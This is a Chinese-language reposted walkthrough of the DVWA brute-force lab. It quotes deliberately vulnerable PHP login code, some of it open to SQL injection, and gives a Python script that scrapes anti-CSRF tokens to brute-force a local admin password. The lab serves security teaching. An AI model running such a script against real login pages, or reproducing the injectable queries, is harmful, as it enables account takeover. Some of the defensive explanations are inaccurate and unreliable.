暴力破解
暴力破解：攻击者攻击目标时常常把破译用户的口令作为攻击的开始。只要攻击者能猜测或者确定用户的口令，他就能获得机器或者网络的访问权，并能访问到用户能访问到的任何资源。如果这个用户有域管理员或root用户权限，这是极其危险的。
1、low
查看源码
Brute Force Source
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {
$user}</p>";
echo "<img src=\"{
$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
通过源码我们可以看到账户和密码后，将密码进行MD5加密带入数据库查询语句中进行对比，成功登录显示Welcome to the password protected area，登录失败显示Username and/or password incorrect.没有任何的防爆破机制，且对参数username、password没有做任何过滤，存在明显的SQL注入漏洞。
实战
随意输入账号和密码然后使用burp来抓包爆破
得到账号和密码
2、Medium
查看源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {
$user}</p>";
echo "<img src=\"{
$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
函数说明：
mysqli_real_escape_string()
定义和用法
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
语法
mysqli_real_escape_string(connection,escapestring);
connection:必需。规定要使用的 MySQL 连接。
escapestring:必需。要转义的字符串。编码的字符是 NUL（ASCII 0）、\n、\r、\、’、" 和 Control-Z
**mysqli_real_escape_string(connection,escapestring)：**对输入的用户名与密码进行了转义，防止了利用单引号，双引号等参数构造进行SQL注入。
这里的sleep(2)，表示登陆失败时，延迟2s返回登录失败信息，这就造成了每一次爆破如果密码错误，进行下一次爆破要比之前Low级别的代码多上2s延迟，没什么卵用。
实战
爆破方式与Low级方法相同，不进行叙述。
3、High
查看源码
Brute Force Source
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {
$user}</p>";
echo "<img src=\"{
$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
函数说明：
stripslashes()
定义和用法
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示：该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
语法
stripslashes(string)
string：必需。规定要检查的字符串
例：
<?php
echo stripslashes("Who\'s Peter Griffin?");
?>
运行结果：Who's Peter Griffin?
rand()
定义和用法
rand() 函数生成随机整数。
提示：如果您想要一个介于 10 和 100 之间（包括 10 和 100）的随机整数，请使用 rand (10,100)。
提示：mt_rand() 函数是产生随机值的更好选择，返回结果的速度是 rand() 函数的 4 倍。
语法：
rand(min,max);
min,max：可选。规定随机数产生的范围
例：
<?php
echo(rand() . "<br>");
echo(rand() . "<br>");
echo(rand(10,100));
?>
运行结果：30174993
1525301769
81
High级别的代码使用了Anti-CSRF token来抵御CSRF的攻击，使用了stripslashes()函数和mysqli_real_esacpe_string()函数来抵御SQL注入和XSS的攻击
因为使用了Anti-CSRF token，每次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，会对user_token进行检查，再进行SQL查询。
由于token值，每次都是随机的，客户端和服务端都为随机值，无法使用burp suite进行暴力破解，但是可以通过python脚本，自动获取token。
python脚本：(使用时注意修改header中的参数)
from bs4 import BeautifulSoup
import requests
header={
'GET': 'http://127.0.0.1/dvwa/vulnerabilities/brute/ HTTP/1.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'en-US,en;q=0.5',
'Referer':'http://127.0.0.1/dvwa/vulnerabilities/brute/',
'cookie':'security=high; PHPSESSID=91c3mm5efrctamti6rmnfbmlr4',
'Connection':'close',
'Upgrade-Insecure-Requests':'1',
'Host':'127.0.0.1'
}
requrl="http://127.0.0.1/dvwa/vulnerabilities/brute/"
def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print (response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"html.parser")
input=soup.form.select("input[type='hidden']")
user_token=input[0]['value']
return user_token
user_token=get_token(requrl,header)
i=0
for line in open("password.txt"):
requrl="http://127.0.0.1/dvwa/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
print (i , 'admin' ,line.strip(),end=" ")
user_token=get_token(requrl,header)
# 尝试次数
if(i==10):
break
得到密码：
4、Impossible
查看源码
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{
$user}</em></p>";
echo "<img src=\"{
$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{
$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {
$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到Impossible级别的代码加入了可靠的防爆破机制，当检测到频繁的错误登录后，系统会将账户锁定，爆破也就无法继续。
同时采用了更为安全的PDO（PHP Data Object）机制防御sql注入，这是因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
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转载：https://blog.csdn.net/qq_44276741/article/details/115773985
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